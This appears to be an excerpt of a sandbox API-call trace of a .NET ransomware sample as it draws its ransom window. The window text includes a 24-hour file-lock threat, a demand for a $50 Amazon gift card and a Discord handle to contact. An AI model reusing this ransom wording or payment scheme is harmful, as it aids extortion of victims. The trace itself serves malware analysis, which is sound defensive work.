SendMessageW (hWnd=0x10166, Msg=0x204e, wParam=0x10166, lParam=0xb6d198) returned 0x0 [0131.135] SendMessageW (hWnd=0x10166, Msg=0x2111, wParam=0x3000166, lParam=0x10166) returned 0x0 [0131.135] GetSystemMetrics (nIndex=5) returned 1 [0131.135] GetSystemMetrics (nIndex=6) returned 1 [0131.135] SendMessageW (hWnd=0x10166, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0131.135] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0131.141] SendMessageW (hWnd=0x10166, Msg=0x446, wParam=0x0, lParam=0xc30010) returned 0x1 [0131.141] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x446, wParam=0x0, lParam=0xc30010) returned 0x1 [0131.145] DragAcceptFiles (hWnd=0x10166, fAccept=0) [0131.145] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x7c, wParam=0xffffffec, lParam=0xb6e288) returned 0x0 [0131.145] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x7d, wParam=0xffffffec, lParam=0xb6e288) returned 0x1 [0131.145] SendMessageW (hWnd=0x10166, Msg=0xc, wParam=0x0, lParam=0x2a81230) returned 0x1 [0131.145] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xc, wParam=0x0, lParam=0x2a81230) returned 0x1 [0131.145] SendMessageW (hWnd=0x10166, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0131.145] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0131.145] SendMessageW (hWnd=0x10166, Msg=0x479, wParam=0x0, lParam=0x0) returned 0x82 [0131.145] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x479, wParam=0x0, lParam=0x0) returned 0x82 [0131.145] SendMessageW (hWnd=0x10166, Msg=0xcd, wParam=0x0, lParam=0x0) returned 0x0 [0131.145] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xcd, wParam=0x0, lParam=0x0) returned 0x0 [0131.146] SendMessageW (hWnd=0x10166, Msg=0x4e1, wParam=0x0, lParam=0x0) returned 0x1 [0131.146] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x4e1, wParam=0x0, lParam=0x0) returned 0x1 [0131.146] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x5, wParam=0x0, lParam=0x790089) returned 0x0 [0131.146] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x3, wParam=0x0, lParam=0x1180011) returned 0x0 [0131.146] GetClientRect (in: hWnd=0x10166, lpRect=0xb6e42c | out: lpRect=0xb6e42c) returned 1 [0131.146] GetWindowRect (in: hWnd=0x10166, lpRect=0xb6e42c | out: lpRect=0xb6e42c) returned 1 [0131.146] GetParent (hWnd=0x10166) returned 0x1015e [0131.146] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e42c, cPoints=0x2 | out: lpPoints=0xb6e42c) returned -14025190 [0131.146] SendMessageW (hWnd=0x10166, Msg=0x2210, wParam=0x1660001, lParam=0x10166) returned 0x0 [0131.146] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x2210, wParam=0x1660001, lParam=0x10166) returned 0x0 [0131.146] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.146] GetParent (hWnd=0x10166) returned 0x1015e [0131.146] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.146] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.146] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x2ad10a8 | out: lpWndClass=0x2ad10a8) returned 1 [0131.146] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.147] CoTaskMemAlloc (cb=0x58) returned 0xdcf250 [0131.147] RegisterClassW (lpWndClass=0xb6eadc) returned 0xc12a [0131.147] CoTaskMemFree (pv=0xdcf250) [0131.147] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.147] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Locked Files", dwStyle=0x5600000d, X=15, Y=262, nWidth=79, nHeight=13, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x10168 [0131.147] SetWindowLongW (hWnd=0x10168, nIndex=-4, dwNewLong=1929492681) returned 85791326 [0131.147] GetWindowLongW (hWnd=0x10168, nIndex=-4) returned 1929492681 [0131.147] SetWindowLongW (hWnd=0x10168, nIndex=-4, dwNewLong=85791366) returned 1929492681 [0131.147] GetWindowLongW (hWnd=0x10168, nIndex=-4) returned 85791366 [0131.147] GetWindowLongW (hWnd=0x10168, nIndex=-16) returned 1174405133 [0131.147] GetWindowLongW (hWnd=0x10168, nIndex=-12) returned 0 [0131.147] SetWindowLongW (hWnd=0x10168, nIndex=-12, dwNewLong=65896) returned 0 [0131.147] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.147] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.147] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.147] GetWindow (hWnd=0x10168, uCmd=0x3) returned 0x10166 [0131.147] GetClientRect (in: hWnd=0x10168, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.147] GetWindowRect (in: hWnd=0x10168, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.147] GetParent (hWnd=0x10168) returned 0x1015e [0131.147] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e3e4, cPoints=0x2 | out: lpPoints=0xb6e3e4) returned -14025190 [0131.148] SetWindowTextW (hWnd=0x10168, lpString="Locked Files") returned 1 [0131.148] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0xc, wParam=0x0, lParam=0x2ac9a80) returned 0x1 [0131.148] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x5, wParam=0x0, lParam=0xd004f) returned 0x0 [0131.148] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x3, wParam=0x0, lParam=0x106000f) returned 0x0 [0131.148] GetClientRect (in: hWnd=0x10168, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.148] GetWindowRect (in: hWnd=0x10168, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.148] GetParent (hWnd=0x10168) returned 0x1015e [0131.148] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e43c, cPoints=0x2 | out: lpPoints=0xb6e43c) returned -14025190 [0131.148] SendMessageW (hWnd=0x10168, Msg=0x2210, wParam=0x1680001, lParam=0x10168) returned 0x0 [0131.148] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x2210, wParam=0x1680001, lParam=0x10168) returned 0x0 [0131.148] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.148] GetParent (hWnd=0x10168) returned 0x1015e [0131.148] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.148] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.148] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.148] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=-3, Y=-9, nWidth=15, nHeight=19, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x1016a [0131.148] SetWindowLongW (hWnd=0x1016a, nIndex=-4, dwNewLong=1996432861) returned 85788854 [0131.148] GetWindowLongW (hWnd=0x1016a, nIndex=-4) returned 1996432861 [0131.149] SetWindowLongW (hWnd=0x1016a, nIndex=-4, dwNewLong=85791406) returned 1996432861 [0131.149] GetWindowLongW (hWnd=0x1016a, nIndex=-4) returned 85791406 [0131.149] GetWindowLongW (hWnd=0x1016a, nIndex=-16) returned 1174405120 [0131.149] GetWindowLongW (hWnd=0x1016a, nIndex=-12) returned 0 [0131.149] SetWindowLongW (hWnd=0x1016a, nIndex=-12, dwNewLong=65898) returned 0 [0131.149] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.149] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.149] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.149] GetWindow (hWnd=0x1016a, uCmd=0x3) returned 0x10168 [0131.149] GetClientRect (in: hWnd=0x1016a, lpRect=0xb6e420 | out: lpRect=0xb6e420) returned 1 [0131.149] GetWindowRect (in: hWnd=0x1016a, lpRect=0xb6e420 | out: lpRect=0xb6e420) returned 1 [0131.149] GetParent (hWnd=0x1016a) returned 0x1015e [0131.149] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e420, cPoints=0x2 | out: lpPoints=0xb6e420) returned -14025190 [0131.149] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x5, wParam=0x0, lParam=0x13000f) returned 0x0 [0131.149] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x3, wParam=0x0, lParam=0xfff7fffd) returned 0x0 [0131.149] GetClientRect (in: hWnd=0x1016a, lpRect=0xb6e478 | out: lpRect=0xb6e478) returned 1 [0131.149] GetWindowRect (in: hWnd=0x1016a, lpRect=0xb6e478 | out: lpRect=0xb6e478) returned 1 [0131.149] GetParent (hWnd=0x1016a) returned 0x1015e [0131.149] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e478, cPoints=0x2 | out: lpPoints=0xb6e478) returned -14025190 [0131.149] SendMessageW (hWnd=0x1016a, Msg=0x2210, wParam=0x16a0001, lParam=0x1016a) returned 0x0 [0131.149] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x2210, wParam=0x16a0001, lParam=0x1016a) returned 0x0 [0131.149] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.149] GetParent (hWnd=0x1016a) returned 0x1015e [0131.149] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.149] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.150] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.150] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="CREATER: UNNAM3D", dwStyle=0x5600000d, X=319, Y=3, nWidth=146, nHeight=15, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x1016c [0131.150] SetWindowLongW (hWnd=0x1016c, nIndex=-4, dwNewLong=1929492681) returned 85791326 [0131.150] GetWindowLongW (hWnd=0x1016c, nIndex=-4) returned 1929492681 [0131.150] SetWindowLongW (hWnd=0x1016c, nIndex=-4, dwNewLong=85791446) returned 1929492681 [0131.150] GetWindowLongW (hWnd=0x1016c, nIndex=-4) returned 85791446 [0131.150] GetWindowLongW (hWnd=0x1016c, nIndex=-16) returned 1174405133 [0131.150] GetWindowLongW (hWnd=0x1016c, nIndex=-12) returned 0 [0131.150] SetWindowLongW (hWnd=0x1016c, nIndex=-12, dwNewLong=65900) returned 0 [0131.150] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.150] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.150] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.150] GetWindow (hWnd=0x1016c, uCmd=0x3) returned 0x1016a [0131.150] GetClientRect (in: hWnd=0x1016c, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.150] GetWindowRect (in: hWnd=0x1016c, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.150] GetParent (hWnd=0x1016c) returned 0x1015e [0131.150] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e3e4, cPoints=0x2 | out: lpPoints=0xb6e3e4) returned -14025190 [0131.150] SetWindowTextW (hWnd=0x1016c, lpString="CREATER: UNNAM3D") returned 1 [0131.150] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0xc, wParam=0x0, lParam=0x2ac9fa4) returned 0x1 [0131.150] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x5, wParam=0x0, lParam=0xf0092) returned 0x0 [0131.151] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x3, wParam=0x0, lParam=0x3013f) returned 0x0 [0131.151] GetClientRect (in: hWnd=0x1016c, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.151] GetWindowRect (in: hWnd=0x1016c, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.151] GetParent (hWnd=0x1016c) returned 0x1015e [0131.151] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e43c, cPoints=0x2 | out: lpPoints=0xb6e43c) returned -14025190 [0131.151] SendMessageW (hWnd=0x1016c, Msg=0x2210, wParam=0x16c0001, lParam=0x1016c) returned 0x0 [0131.151] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x2210, wParam=0x16c0001, lParam=0x1016c) returned 0x0 [0131.151] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.151] GetParent (hWnd=0x1016c) returned 0x1015e [0131.151] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.151] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.151] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.151] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Discord: UNNAM3D#6666", dwStyle=0x5600000d, X=12, Y=406, nWidth=172, nHeight=15, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x1016e [0131.151] SetWindowLongW (hWnd=0x1016e, nIndex=-4, dwNewLong=1929492681) returned 85791326 [0131.151] GetWindowLongW (hWnd=0x1016e, nIndex=-4) returned 1929492681 [0131.151] SetWindowLongW (hWnd=0x1016e, nIndex=-4, dwNewLong=85791486) returned 1929492681 [0131.151] GetWindowLongW (hWnd=0x1016e, nIndex=-4) returned 85791486 [0131.151] GetWindowLongW (hWnd=0x1016e, nIndex=-16) returned 1174405133 [0131.151] GetWindowLongW (hWnd=0x1016e, nIndex=-12) returned 0 [0131.151] SetWindowLongW (hWnd=0x1016e, nIndex=-12, dwNewLong=65902) returned 0 [0131.151] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.152] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.152] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.152] GetWindow (hWnd=0x1016e, uCmd=0x3) returned 0x1016c [0131.152] GetClientRect (in: hWnd=0x1016e, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.152] GetWindowRect (in: hWnd=0x1016e, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.152] GetParent (hWnd=0x1016e) returned 0x1015e [0131.152] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e3e4, cPoints=0x2 | out: lpPoints=0xb6e3e4) returned -14025190 [0131.152] SetWindowTextW (hWnd=0x1016e, lpString="Discord: UNNAM3D#6666") returned 1 [0131.152] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0xc, wParam=0x0, lParam=0x2aab4bc) returned 0x1 [0131.152] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x5, wParam=0x0, lParam=0xf00ac) returned 0x0 [0131.152] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x3, wParam=0x0, lParam=0x196000c) returned 0x0 [0131.152] GetClientRect (in: hWnd=0x1016e, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.152] GetWindowRect (in: hWnd=0x1016e, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.152] GetParent (hWnd=0x1016e) returned 0x1015e [0131.152] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e43c, cPoints=0x2 | out: lpPoints=0xb6e43c) returned -14025190 [0131.152] SendMessageW (hWnd=0x1016e, Msg=0x2210, wParam=0x16e0001, lParam=0x1016e) returned 0x0 [0131.152] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x2210, wParam=0x16e0001, lParam=0x1016e) returned 0x0 [0131.152] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.152] GetParent (hWnd=0x1016e) returned 0x1015e [0131.152] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.152] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.152] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.152] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", dwStyle=0x5600000d, X=14, Y=206, nWidth=382, nHeight=45, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x10170 [0131.153] SetWindowLongW (hWnd=0x10170, nIndex=-4, dwNewLong=1929492681) returned 85791326 [0131.153] GetWindowLongW (hWnd=0x10170, nIndex=-4) returned 1929492681 [0131.153] SetWindowLongW (hWnd=0x10170, nIndex=-4, dwNewLong=85834638) returned 1929492681 [0131.153] GetWindowLongW (hWnd=0x10170, nIndex=-4) returned 85834638 [0131.153] GetWindowLongW (hWnd=0x10170, nIndex=-16) returned 1174405133 [0131.153] GetWindowLongW (hWnd=0x10170, nIndex=-12) returned 0 [0131.153] SetWindowLongW (hWnd=0x10170, nIndex=-12, dwNewLong=65904) returned 0 [0131.153] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.153] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.153] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.153] GetWindow (hWnd=0x10170, uCmd=0x3) returned 0x1016e [0131.153] GetClientRect (in: hWnd=0x10170, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.153] GetWindowRect (in: hWnd=0x10170, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.153] GetParent (hWnd=0x10170) returned 0x1015e [0131.153] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e3e4, cPoints=0x2 | out: lpPoints=0xb6e3e4) returned -14025190 [0131.154] SetWindowTextW (hWnd=0x10170, lpString="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.") returned 1 [0131.154] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0xc, wParam=0x0, lParam=0x2aa758c) returned 0x1 [0131.154] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x5, wParam=0x0, lParam=0x2d017e) returned 0x0 [0131.154] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x3, wParam=0x0, lParam=0xce000e) returned 0x0 [0131.154] GetClientRect (in: hWnd=0x10170, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.154] GetWindowRect (in: hWnd=0x10170, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.154] GetParent (hWnd=0x10170) returned 0x1015e [0131.154] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e43c, cPoints=0x2 | out: lpPoints=0xb6e43c) returned -14025190 [0131.154] SendMessageW (hWnd=0x10170, Msg=0x2210, wParam=0x1700001, lParam=0x10170) returned 0x0 [0131.154] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x2210, wParam=0x1700001, lParam=0x10170) returned 0x0 [0131.154] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10170, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.154] GetParent (hWnd=0x10170) returned 0x1015e [0131.154] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.154] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.154] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.154] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", dwStyle=0x5600000d, X=14, Y=107, nWidth=435, nHeight=60, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x10172 [0131.154] SetWindowLongW (hWnd=0x10172, nIndex=-4, dwNewLong=1929492681) returned 85791326 [0131.154] GetWindowLongW (hWnd=0x10172, nIndex=-4) returned 1929492681 [0131.154] SetWindowLongW (hWnd=0x10172, nIndex=-4, dwNewLong=85834702) returned 1929492681 [0131.155] GetWindowLongW (hWnd=0x10172, nIndex=-4) returned 85834702 [0131.155] GetWindowLongW (hWnd=0x10172, nIndex=-16) returned 1174405133 [0131.155] GetWindowLongW (hWnd=0x10172, nIndex=-12) returned 0 [0131.155] SetWindowLongW (hWnd=0x10172, nIndex=-12, dwNewLong=65906) returned 0 [0131.155] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.155] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.155] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.155] GetWindow (hWnd=0x10172, uCmd=0x3) returned 0x10170 [0131.155] GetClientRect (in: hWnd=0x10172, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.155] GetWindowRect (in: hWnd=0x10172, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.155] GetParent (hWnd=0x10172) returned 0x1015e [0131.155] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e3e4, cPoints=0x2 | out: lpPoints=0xb6e3e4) returned -14025190 [0131.155] SetWindowTextW (hWnd=0x10172, lpString="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n") returned 1 [0131.155] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xc, wParam=0x0, lParam=0x2aaa7c0) returned 0x1 [0131.155] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x5, wParam=0x0, lParam=0x3c01b3) returned 0x0 [0131.155] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x3, wParam=0x0, lParam=0x6b000e) returned 0x0 [0131.155] GetClientRect (in: hWnd=0x10172, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.155] GetWindowRect (in: hWnd=0x10172, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.155] GetParent (hWnd=0x10172) returned 0x1015e [0131.155] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e43c, cPoints=0x2 | out: lpPoints=0xb6e43c) returned -14025190 [0131.155] SendMessageW (hWnd=0x10172, Msg=0x2210, wParam=0x1720001, lParam=0x10172) returned 0x0 [0131.155] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2210, wParam=0x1720001, lParam=0x10172) returned 0x0 [0131.155] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.155] GetParent (hWnd=0x10172) returned 0x1015e [0131.155] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.156] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.156] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.156] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="How do i pay?", dwStyle=0x5600000d, X=13, Y=173, nWidth=143, nHeight=24, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x10174 [0131.156] SetWindowLongW (hWnd=0x10174, nIndex=-4, dwNewLong=1929492681) returned 85791326 [0131.156] GetWindowLongW (hWnd=0x10174, nIndex=-4) returned 1929492681 [0131.156] SetWindowLongW (hWnd=0x10174, nIndex=-4, dwNewLong=85834742) returned 1929492681 [0131.156] GetWindowLongW (hWnd=0x10174, nIndex=-4) returned 85834742 [0131.156] GetWindowLongW (hWnd=0x10174, nIndex=-16) returned 1174405133 [0131.156] GetWindowLongW (hWnd=0x10174, nIndex=-12) returned 0 [0131.156] SetWindowLongW (hWnd=0x10174, nIndex=-12, dwNewLong=65908) returned 0 [0131.156] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.156] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.156] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.156] GetWindow (hWnd=0x10174, uCmd=0x3) returned 0x10172 [0131.156] GetClientRect (in: hWnd=0x10174, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.156] GetWindowRect (in: hWnd=0x10174, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.156] GetParent (hWnd=0x10174) returned 0x1015e [0131.156] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e3e4, cPoints=0x2 | out: lpPoints=0xb6e3e4) returned -14025190 [0131.156] SetWindowTextW (hWnd=0x10174, lpString="How do i pay?") returned 1 [0131.156] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0xc, wParam=0x0, lParam=0x2aaacac) returned 0x1 [0131.157] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x5, wParam=0x0, lParam=0x18008f) returned 0x0 